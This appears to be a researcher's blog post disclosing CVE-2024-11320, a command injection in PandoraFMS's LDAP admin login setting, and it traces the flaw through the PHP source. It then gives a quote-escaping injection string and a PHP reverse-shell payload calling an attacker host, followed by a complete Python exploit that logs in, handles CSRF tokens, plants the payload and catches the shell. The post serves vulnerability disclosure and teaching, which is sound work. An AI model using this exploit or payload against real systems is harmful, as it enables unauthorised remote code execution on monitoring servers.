PandoraFMS v7.0NG.777.3 Remote Command Execution (CVE-2024-11320)

Estimated Reading Time: 9 minutes

Previously, during a quick code review of PandoraFMS, I identified CVE-2019-20224, an RCE vulnerability affecting the product. In this blog post, I’ll delve into another code review of PandoraFMS that uncovered a new RCE vulnerability, now assigned CVE-2024-11320. This post is the first in a two-part series focused on CVE-2024-11320.

In this part, I’ll walk through the manual process of identifying and understanding the bug, while the second part will demonstrate how the same vulnerability can be detected using CodeQL, showcasing its capabilities for automated code analysis.

This analysis, like others I’ve conducted, reflects my personal approach to analyzing vulnerable code and tracing the connections between sources and sinks. It is by no means a comprehensive methodology, and there are certainly more refined approaches you can use to achieve the same goals.

Summary about PandoraFMS

Pandora FMS is a monitoring software for IT infrastructure management. It includes network equipment, Windows and Unix servers, virtual infrastructure, and various applications. Pandora FMS has many features, making it a new-generation software that covers all your organization’s monitoring issues.

About the vulnerability

During the code analysis, I discovered an interesting piece of code in the local_ldap_search function, located in /var/www/html/pandora_console/include/auth/mysql.php.

This function executes a system command during LDAP authentication, which could be defined as a sink we could start with. The relevant code looks as follows:

if (!empty($ldap_admin_user)) {
        $ldap_admin_user = " -D '".$ldap_admin_user."'";
    }

    if (!empty($ldap_admin_pass)) {
        $ldap_admin_pass = ' -w '.escapeshellarg($ldap_admin_pass);
    }

    $dn = ' -b '.escapeshellarg($dn);
    $ldapsearch_command = 'timeout '.$ldap_search_time.' ldapsearch -LLL -o ldif-wrap=no -o nettimeout='.$ldap_search_time.' -x'.$ldap_host.$ldap_version.' -E pr=10000/noprompt '.$ldap_admin_user.$ldap_admin_pass.$dn.$filter.$tls.' | grep -v "^#\|^$" | sed "s/:\+ /=>/g"';
    $shell_ldap_search = explode("\n", shell_exec($ldapsearch_command));
    foreach ($shell_ldap_search as $line) {
        $values = explode('=>', $line);
        if (!empty($values[0]) && !empty($values[1])) {
            $user_attr[$values[0]][] = $values[1];
        }
    }

We can see that in line #1645 we have a call to the function shell_execused to execute the command stored in the variable $ldapsearch_command defined in line #1644.

the variable $ldapsearch_commandstore several other pre-defined variables, and the most important one in our case is $ldap_admin_user, this one is defined in line #1636 which is passed to the function local_ldap_searchas the following:

function local_ldap_search(
    $ldap_host,
    $ldap_port=389,
    $ldap_version=3,
    $dn=null,
    $access_attr=null,
    $ldap_admin_user=null,
    $ldap_admin_pass=null,
    $user=null,
    $ldap_start_tls=null,
    $ldap_search_time=5
) {

Referring back to the previous code snippet, we observe that the variable $ldap_admin_useris passed to shell_exec as part of the $ldapsearch_command; Notably, the value of $ldap_admin_user is used without any sanitization.

In theory, if we can control the value of $ldap_admin_user, we could inject malicious code that would reach the vulnerable sink. To confirm this, we need to trace the source of this variable, analyze how it is set, and verify that it is not sanitized before reaching the vulnerable sink.

Tracing the source

We will begin by analyzing the calls to the local_ldap_search function to identify its use in the codebase. By searching for this function, we find that it is called only once in the file mysql.php, as shown below:

    if ($config['ldap_function'] == 'local') {
        $sr = local_ldap_search(
            $ldap['ldap_server'],
            $ldap['ldap_port'],
            $ldap['ldap_version'],
            io_safe_output($ldap['ldap_base_dn']),
            $ldap['ldap_login_attr'],
            io_safe_output($ldap['ldap_admin_login']),
            io_output_password($ldap['ldap_admin_pass']),
            io_safe_output($login),
            $ldap['ldap_start_tls'],
            $config['ldap_search_timeout']
        );

We can see that it’s called when $config['ldap_function']is set to local, then, it will pass the variable io_safe_output($ldap['ldap_admin_login'])as $ldap_admin_user based on the function definition provided earlier and save the execution result in the $sr variable “This part isn’t important but it’s good to mention it”.

This code is defined as part of the function ldap_process_user_loginwhich defined in mysql.phpas the following:

/**
 * Authenticate against an LDAP server.
 *
 * @param string User login
 * @param string User password (plain text)
 *
 * @return boolean True if the login is correct, false in other case
 */
function ldap_process_user_login($login, $password, $secondary_server=false)
{
    global $config;
....

Now we need to understand how the function ldap_process_user_loginis called, which will check later on if $config['ldap_function'] == 'local'and then pass the execution flow to local_ldap_searchand pass $ldap['ldap_admin_login']as the variable $ldap_admin_user.

From the function declaration/calls and the logic behind it, we can conclude that the function ldap_process_user_loginwill call the function local_ldap_searchonce the authentication method is set to LDAP, it will pull the LDAP auth options from the $ldaparray which will be defined based on the values from the $configglobal array that holds these configurations and defined as the following:

/**
 * Authenticate against an LDAP server.
 *
 * @param string User login
 * @param string User password (plain text)
 *
 * @return boolean True if the login is correct, false in other case
 */
function ldap_process_user_login($login, $password, $secondary_server=false)
{
    global $config;

    if (! function_exists('ldap_connect')) {
        $config['auth_error'] = __('Your installation of PHP does not support LDAP');

        return false;
    }

    $ldap_tokens = [
        'ldap_server',
        'ldap_port',
        'ldap_version',
        'ldap_base_dn',
        'ldap_login_attr',
        'ldap_admin_login',
        'ldap_admin_pass',
        'ldap_start_tls',
    ];

    foreach ($ldap_tokens as $token) {
        $ldap[$token] = $secondary_server === true ? $config[$token.'_secondary'] : $config[$token];
    }

    // Remove entities ldap admin pass.
    $ldap['ldap_admin_pass'] = io_safe_output($ldap['ldap_admin_pass']);

    // Connect to the LDAP server
    if (stripos($ldap['ldap_server'], 'ldap://') !== false
        || stripos($ldap['ldap_server'], 'ldaps://') !== false
        || stripos($ldap['ldap_server'], 'ldapi://') !== false
    ) {
        $ds = @ldap_connect($ldap['ldap_server'].':'.$ldap['ldap_port']);
    } else {
        $ds = @ldap_connect($ldap['ldap_server'], $ldap['ldap_port']);
    }

    if (!$ds) {
        $config['auth_error'] = 'Error connecting to LDAP server';

        return false;
    }

    // Set the LDAP version.
    ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, $ldap['ldap_version']);
    ldap_set_option($ds, LDAP_OPT_NETWORK_TIMEOUT, 1);

    // Set ldap search timeout.
    ldap_set_option(
        $ds,
        LDAP_OPT_TIMELIMIT,
        (empty($config['ldap_search_timeout']) === true) ? 5 : ((int) $config['ldap_search_timeout'])
    );

    if ($ldap['ldap_start_tls']) {
        if (!@ldap_start_tls($ds)) {
            $config['auth_error'] = 'Could not start TLS for LDAP connection';
            @ldap_close($ds);

            return false;
        }
    }

    if ($config['ldap_function'] == 'local') {
        $sr = local_ldap_search(
            $ldap['ldap_server'],
            $ldap['ldap_port'],
            $ldap['ldap_version'],
            io_safe_output($ldap['ldap_base_dn']),
            $ldap['ldap_login_attr'],
            io_safe_output($ldap['ldap_admin_login']),
            io_output_password($ldap['ldap_admin_pass']),
            io_safe_output($login),
            $ldap['ldap_start_tls'],
            $config['ldap_search_timeout']
        );

Next, we need to identify where the LDAP configuration is defined. This will allow us to examine how it is submitted and determine if and how we can control it.

After further investigation, I discovered that the authentication settings are managed within the setup_auth.php and functions_config.php files. These files are responsible for checking and updating the authentication options used by the PandoraFMS appliance.

PandoraFMS handles requests to setup_auth.php through the page /pandora_console/index.php?sec=general&sec2=godmode/setup/setup&section=auth. This page sends the authentication configuration to the backend via a POST request. The backend processes the request and updates the configuration using the config_update_value and get_parameter functions, as demonstrated in the following code:

                    if (config_update_value('ldap_admin_login', get_parameter('ldap_admin_login'), true) === false) {
                        $error_update[] = __('Admin LDAP login');
                    }

Here, the config_update_value function updates the ldap_admin_login configuration with the value retrieved by the get_parameter function, which processes the incoming POST request for this page.

The function get_parameteris defined in functions.phpas the following:

/**
 * Get a parameter from a request.
 *
 * It checks first on post request, if there were nothing defined, it
 * would return get request
 *
 * @param string $name    key of the parameter in the $_POST or $_GET array
 * @param mixed  $default default value if the key wasn't found
 *
 * @return mixed Whatever was in that parameter, cleaned however
 */
function get_parameter($name, $default='')
{
    // POST has precedence
    if (isset($_POST[$name])) {
        return get_parameter_post($name, $default);
    }

    if (isset($_GET[$name])) {
        return get_parameter_get($name, $default);
    }

    if (isset($_FILES[$name])) {
        return get_parameter_file($name, $default);
    }

    return $default;
}

The get_parameter function retrieves a parameter from a web request, prioritizing POST data ($_POST) first, followed by GET data ($_GET), and finally uploaded files ($_FILES).

It uses helper functions (get_parameter_post, get_parameter_get, get_parameter_file) to retrieve and clean the parameter from each source.

If the parameter is not found in any of these, it returns a specified default value. This function ensures a consistent way to access request parameters while handling precedence between different request methods and applying some level of input cleaning.

Based on the previous code snippet, the file functions_config.php will handle our value ldap_admin_login sent to by the page /pandora_console/index.php?sec=general&sec2=godmode/setup/setup&section=auth and save it as the config value defined later on as $ldap['ldap_admin_login']without any sanitation.

This finally means that updating this value will hit our vulnerable sink local_ldap_searchif the authentication was set to local LDAP.

Putting all things together

Let’s try to update the authentication options using the page /pandora_console/index.php?sec=general&sec2=godmode/setup/setup&section=authwhich contains the following form:

Changing Authentication method to LDAP Should give us this form

Fill it with dummy values and make sure they are updated as expected, we can use Burp to intercept the request and double-check the parameter names:

As expected, we can see all the required parameters passed with our values to the backend, and if we forward the request, we will get the following:

We can see that the values have been updated as expected, and we can see the value of the LDAP admin login updated with the value testas expected too.

Now, we need to inject a payload that escapes the string passed to shell_execfunction and execute a command, and to do that, let’s go back to the function where shell_execdefined:

if (!empty($ldap_admin_user)) {
        $ldap_admin_user = " -D '".$ldap_admin_user."'";
    }

    if (!empty($ldap_admin_pass)) {
        $ldap_admin_pass = ' -w '.escapeshellarg($ldap_admin_pass);
    }

    $dn = ' -b '.escapeshellarg($dn);
    $ldapsearch_command = 'timeout '.$ldap_search_time.' ldapsearch -LLL -o ldif-wrap=no -o nettimeout='.$ldap_search_time.' -x'.$ldap_host.$ldap_version.' -E pr=10000/noprompt '.$ldap_admin_user.$ldap_admin_pass.$dn.$filter.$tls.' | grep -v "^#\|^$" | sed "s/:\+ /=>/g"';
    $shell_ldap_search = explode("\n", shell_exec($ldapsearch_command));
    foreach ($shell_ldap_search as $line) {
        $values = explode('=>', $line);
        if (!empty($values[0]) && !empty($values[1])) {
            $user_attr[$values[0]][] = $values[1];
        }
    }

Our test value will be passed to $ldapsearch_command when we authenticate to PandoraFMS using the configured LDAP settings.

By examining the position of ldap_admin_user within the $ldapsearch_command string, we can see that it is possible to escape it by using an input similar to:

';Command #

Command will be the value of ldap_admin_loginPOST param which we sent previously as test; We can use something similar to the following payload to get a reverse shell:

';php -r '$sock=fsockopen("ATTACKERIP", ATTACKERPORT);exec("/bin/sh -i <&3 >&3 2>&3");' #

This should terminate the command string, append our command to it, and comment out the remainder of the string.

Updating ldap_admin_loginto our payload should work without issues as the following:

We can see that our payload was injected without issues, now we just need to trigger it and call the function.

Triggering the payload

Now that we know how to update the configuration and inject our payload, the next step is figuring out how to trigger its execution.

Based on the previously analyzed authentication logic, we forced LDAP authentication through an earlier request. Next, we need to initiate an LDAP authentication process so that the vulnerable function uses our payload as the LDAP admin username, which will ultimately reach the vulnerable sink.

This can be achieved by attempting to log in with any username and password. The backend will process the login request using the stored LDAP settings, which will trigger the shell_exec call in the vulnerable function and execute our payload.

I will modify the payload again to:

';php -r '$sock=fsockopen("10.10.10.1", 1337);exec("/bin/sh -i <&3 >&3 2>&3");' #

And then try to log in with a dummy creds and see how it goes:

Awesome, we popped a shell!

To automate the process, including handling the initial authentication, CSRF token parsing, and other repetitive tasks, I developed the following exploit code:

#!/usr/bin/python3

# Exploit Title: Pandora v7.0NG.777.3 Remote Code Execution
# Date: 02/11/2024
# Exploit Author: Askar (@mhaskar01)
# CVE: CVE-2024-11320
# Vendor Homepage: https://pandorafms.org/
# Version: Version v7.0NG.777.3 Andromeda - FREE
# Tested on: Ubuntu 22.04 Server - PHP 8.0.29

import telnetlib
import requests
import socket
import sys

from threading import Thread
from bs4 import BeautifulSoup

if len(sys.argv) != 6:
    print("[+] Usage : ./exploit.py target username password ip port")
    exit()

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = int(sys.argv[5])
payload = "';php -r '$sock=fsockopen(\"%s\", %s);exec(\"/bin/sh -i <&3 >&3 2>&3\");' #" % (ip, port)

def connection_handler(port):
    print("[+] Shell listener started on port %s" % port)
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", int(port)))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection received from %s" % addr[0])
    t.sock = conn
    print("[+] Heads up, incoming shellzzz!!")
    t.interact()

def login():
    request = requests.session()

    login_url = target + "/index.php?login=1"
    first_login_request = request.get(login_url)
    content = first_login_request.text

    soup2 = BeautifulSoup(content, "lxml")
    login_csrf_token = soup2.find_all("input", id="hidden-csrf_code")[0].get("value")

    login_info = {
        "nick": username,
        "pass": password,
        "login_button": "Let's go",
        "csrf_code": login_csrf_token

    }

    login_request = request.post(
        login_url,
        login_info,
        verify=False,
        allow_redirects=True
    )

    resp = login_request.text

    if "Login failed" in resp:
        print("[-] Login Failed")
        return False
    else:
        print("[+] Valid Session!")
        return request

def update_auth_to_ldap(request):
    update_auth_url = target + "/index.php?sec=general&sec2=godmode/setup/setup&section=auth"
    req = request.get(update_auth_url)
    content = req.text
    soup2 = BeautifulSoup(content, "lxml")
    login_csrf_token = soup2.find_all("input", id="hidden-csrf_code")[0].get("value")
    print("[+] Using Token %s" % login_csrf_token)

    update_auth_to_ldap_data = {
        "update_config":"1",
        "csrf_code": login_csrf_token,
        "auth":"ldap",
        "fallback_local_auth":"1",
        "fallback_local_auth_sent":"1",
        "ldap_server":"localhost",
        "ldap_port":"389",
        "ldap_version":"3",
        "ldap_start_tls_sent":"1",
        "ldap_base_dn":"ou%3DPeople%2Cdc%3Dedu%2Cdc%3Dexample%2Cdc%3Dorg",
        "ldap_login_attr":"uid",
        # payload
        "ldap_admin_login": payload,
        "ldap_admin_pass":"test",
        "ldap_search_timeout":"0",
        "secondary_ldap_enabled_sent":"1",
        "ldap_server_secondary":"localhost",
        "ldap_port_secondary":"389",
        "ldap_version_secondary":"3",
        "ldap_start_tls_secondary_sent":"1",
        "ldap_base_dn_secondary":"ou%3DPeople%2Cdc%3Dedu%2Cdc%3Dexample%2Cdc%3Dorg",
        "ldap_login_attr_secondary":"uid",
        "ldap_admin_login_secondary":"",
        "ldap_admin_pass_secondary":"",
        "double_auth_enabled_sent":"1",
        "2FA_all_users_sent":"1",
        "session_timeout":"90",
        "update_button":"Update",

        # this one will pass us to the vulnerable function
        "ldap_function":"local",

    }
    headers = {"Referer": update_auth_url}
    request2 = request.post(update_auth_url, update_auth_to_ldap_data, verify=False, headers=headers)
    resp = request2.text
    if "Correctly updated the setup options" in resp:
        print("[+] Injecting session value!")
        return True
    else:
        print("[-] Error while updating Auth logic!")
        return False
    

def trigger_payload():
    print("[+] Triggering payload!")

    handler_thread = Thread(target=connection_handler, args=(port,))
    handler_thread.start()

    login_url = target + "/index.php?login=1"
    first_login_request = requests.get(login_url)
    content = first_login_request.text

    soup2 = BeautifulSoup(content, "lxml")
    login_csrf_token = soup2.find_all("input", id="hidden-csrf_code")[0].get("value")

    login_info = {
        "nick": "BlaBla",
        "pass": "AnyThing",
        "login_button": "Let's go",
        "csrf_code": login_csrf_token

    }

    login_request = requests.post(
        login_url,
        login_info,
        verify=False,
        allow_redirects=True
    )    

request = login()
if request:
    if update_auth_to_ldap(request):
        trigger_payload()
    

    # Update auth by sending a first request to get the CSRF then send the full request

You can find it here too.

This is the final result after running the exploit code:

The vulnerability was addressed and assigned CVE-2024-11320 by PandoraFMS. The fix is included in version 777.5.

Leave a Reply

Your email address will not be published. Required fields are marked *